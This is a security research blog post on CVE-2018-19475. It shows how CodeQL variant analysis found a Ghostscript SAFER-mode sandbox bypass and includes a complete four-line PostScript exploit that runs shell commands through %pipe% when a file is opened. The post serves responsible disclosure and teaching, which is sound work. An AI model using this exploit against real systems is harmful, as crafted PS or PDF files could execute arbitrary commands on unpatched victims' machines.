In this post I’ll explain how I discovered a sandbox bypass in Ghostscript that allows arbitrary shell command execution when an untrusted PostScript or PDF file is viewed or processed. This bug was reported to Artifex on 12 November as bug 700153. It has since been assigned the CVE ID CVE-2018-19475. This bug is a variant of several vulnerabilities that Google Project Zero member Tavis Ormandy reported in August. I found this vulnerability using our query technology for variant analysis. Using CodeQL, I was able to quickly query the Ghostscript source code to identify variants. The queries used in this post can be run against a Ghostscript snapshot using the CodeQL for Eclipse plugin.
[EDIT]: You can also use our free CodeQL extension for Visual Studio Code. See installation instructions at https://securitylab.github.com/tools/codeql/.
The SAFER mode sandbox in Ghostscript
Ghostscript is an interpreter for PostScript, which is a scripting language for document rendering. As part of its command set, Ghostscript supports a %pipe%
syntax, which specifies that the PostScript interpreter should start a new process with any shell command. For example, the following command (on any Linux machine with Ghostscript and xcalc
installed) will launch the xcalc
calculator:
$ gs
GS>(%pipe%xcalc) (w) file
This, of course, can be a huge security problem when a PostScript file comes from an untrusted source (for example, downloaded online). To mitigate the issue, Ghostscript supports a sandbox mode. If Ghostscript is launched with the -dSAFER
option, then the %pipe%
syntax will be disabled. The following command will raise a file access error:
$ gs -dSAFER
GS>(%pipe%xcalc) (w) file
Applications such as ImageMagick and Evince (the default PDF viewer in many Linux distributions) use Ghostscript to parse PostScript and PDF files; and as most PostScript and PDF files are often downloaded from untrusted sources, these applications usually use the -dSAFER
option when invoking Ghostscript.
The documentation indicates that SAFER
mode disables certain dangerous operators, such as deletefile
, renamefile
, pipe commands (%pipe%
) as well as setting a boolean parameter called .LockSafetyParams
. The documentation does not say much about the LockSafetyParams
, other than that it prevents the modification of “potentially dangerous device parameters such as OutputFile”. One of the important protections offered by LockSafetyParams
is that, when LockSafetyParams
is set to true, the OutputFile
parameter of a device cannot be changed. When the OutputFile
parameter is set to a pipe
command, Ghostscript will happily execute any shell command:
$ gs
GS>mark /OutputFile (%pipe%xcalc) currentdevice putdeviceprops
GS>showpage
In SAFER
mode, the above will give an invalidaccess
error as LockSafetyParams
is preventing the change of OutputFile
. However, as long as an attacker manages to overwrite LockSafetyParams
so that OutputFile
can be changed in the first line, this will launch the calculator, even in SAFER
mode. This makes the LockSafetyParams
very valuable when looking to exploit Ghostscript.
Project Zero Bug 1640
The vulnerability I found (CVE-2018-19475) is a variant of the vulnerability reported here, I’ll briefly explain that vulnerability. There are actually a few variants of this bug, filed as 699654, (fixed here), 699714 (fixed here), 699718 (fixed here and here). All these seem to be triggered by a failed PostScript restore
operation. When an error occurs in the middle of a restore
, the PostScript device is left in an inconsistent state, with LockSafetyParams
set to false
. For example, this commit and this commit both introduced error-handling code that ensures that LockSafetyParams
is reset to its original state. So where is LockSafetyParams
set to false
in the process of a restore? I can use CodeQL to find out:
from FieldAccess fa
where fa.getTarget().hasName("LockSafetyParams") and
exists(AssignExpr expr | expr.getLValue() = fa and expr.getRValue() instanceof Zero) and
exists(Function f | f.getName().matches("%restore%") and f.calls*(fa.getEnclosingFunction()))
select fa
You can run this query yourself on a Ghostscript source code snapshot database using the CodeQL for Eclipse plugin. The query looks for places where LockSafetyParams
is set to false
in a function called by a function whose name contains the word “restore”. This gives me one result:
The comments make it quite clear that restore
needs to temporarily disable LockSafetyParams
to perform a privileged action. This, of course, relies on the developer restoring LockSafetyParams
at a later stage. However, by triggering an error during a restore after this point, but before LockSafetyParams
is restored to its original value, it is possible to leave the device in a state where LockSafetyParams
is set to false
. This is essentially what happened with many of the bugs mentioned above.
Another flag, please
The fact that LockSafetyParams
is switched off is interesting. I wonder if there are other flags that need to be disabled during a restore for similar reasons? Let’s take a look with CodeQL again:
from FieldAccess fa
where exists(AssignExpr expr | expr.getLValue() = fa and expr.getRValue() instanceof Zero) and
exists(Function f | f.getName().matches("%restore%") and f.calls*(fa.getEnclosingFunction())) and
fa.getTarget().getType().toString() = "bool"
select fa, fa.getTarget(), fa.getLocation()
There are a number of results, but the LockFilePermissions
one is particularly interesting:
The comment suggests that it may be something that I am looking for. Let’s check what this flag is used for:
from FieldAccess fa
where fa.getTarget().hasName("LockFilePermissions")
select fa, fa.getEnclosingFunction()
There are only 12 results, but look what I’ve found:
Looks like LockFilePermissions
is used to check whether a pipe command is allowed as a file name!
Capture the flag
This all looks too easy. LockFilePermissions
is set to false
at the end of dorestore
, which is called by z2restore
, which can be called in PostScript using the restore
operation. Does it mean that a normal restore
will actually set LockFilePermissions
to false
and the exploit is as simple as?
GS>save restore
GS>(%pipe%xcalc) (w) file
Of course not.
That would be way too easy, right? So what happened here? Let’s set a breakpoint at the end of check that z2restore
to see if LockFilePermissions
is switched off.
It does look like LockFilePermissions
is switched off at the end of z2restore
. Only that z2restore
is not the end of restore
. It turns out that the C
code in Ghostscript is only part of Ghostscript. Many higher-level operators are implemented in the PostScript language, and restore
is one of them. It is actually implemented in gs_lev2.ps
:
/restore { % <save> restore -
//restore /userparams .systemvar .setuserparams
} .bind odef
The restore
operator available in PostScript actually first calls z2restore
, then uses userparams
to restore the original settings, including the LockFilePermissions
. This all sounds very familiar. If I can now find a way to trigger an error after z2restore
is called, but before .setuserparams
, then the device will be left with LockFilePermissions
set to false
.
So what could go wrong there? PostScript is a stack-based language and objects are pushed onto an “operand stack”. For example, when I do
GS>/userparams
GS<1>
In the above, userparams
got pushed onto the operand stack and my stack now contains one operand, as indicated by the <1>
in the following line. Of course, the operand stack is finite and when it fills up, it’ll throw a stackoverflow
error:
So a simple way to break the restore
process is to fill up the stack prior to a restore, so that when it tries to push /userparams
to the stack, it fails and throws a stackoverflow
error:
And then use (%pipe%xcalc) (w) file
:
To make it into an actual PostScript file, the stackoverflow
error will need to be caught and ignored by using {save restore} stopped {} if
instead of just a simple save restore
. A fully working version is 4 lines long:
%PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%xcalc) (w) file
Note that on most machines, Ghostscript will also be called when opening or processing PDF files. Therefore, it doesn’t matter whether you use the .ps or .pdf extension.
Ghostscript version 9.07, which is shipped with CentOS 7, happens to behave slightly differently: it treats the command as a file name and checks whether it is located within a whitelisted directory. This is a bug as the name of the command used in %pipe%
was being treated as a file name, which would most likely have led to any legitimate use of %pipe%
to fail. This was fixed sometime after 9.07. As a result, the exploit above will not work on CentOS 7. However, it’s easy to work around this check. I’ve included details in the original report to the Ghostscript project.
Conclusions
In this post, I’ve shown how I used CodeQL to perform variant analysis. By using three simple queries, I quickly identified another weakness that I was able to turn into a -dSAFER
sandbox escape remote code execution vulnerability.
Disclosure timeline
- 12 November 2018: Initial private disclosure of the issue to the Ghostscript team at Artifex
- 12 November 2018: Patch checked into git repository
- 20 November 2018: Fixed version (9.26) released
Note: Post originally published on LGTM.com on January 14, 2019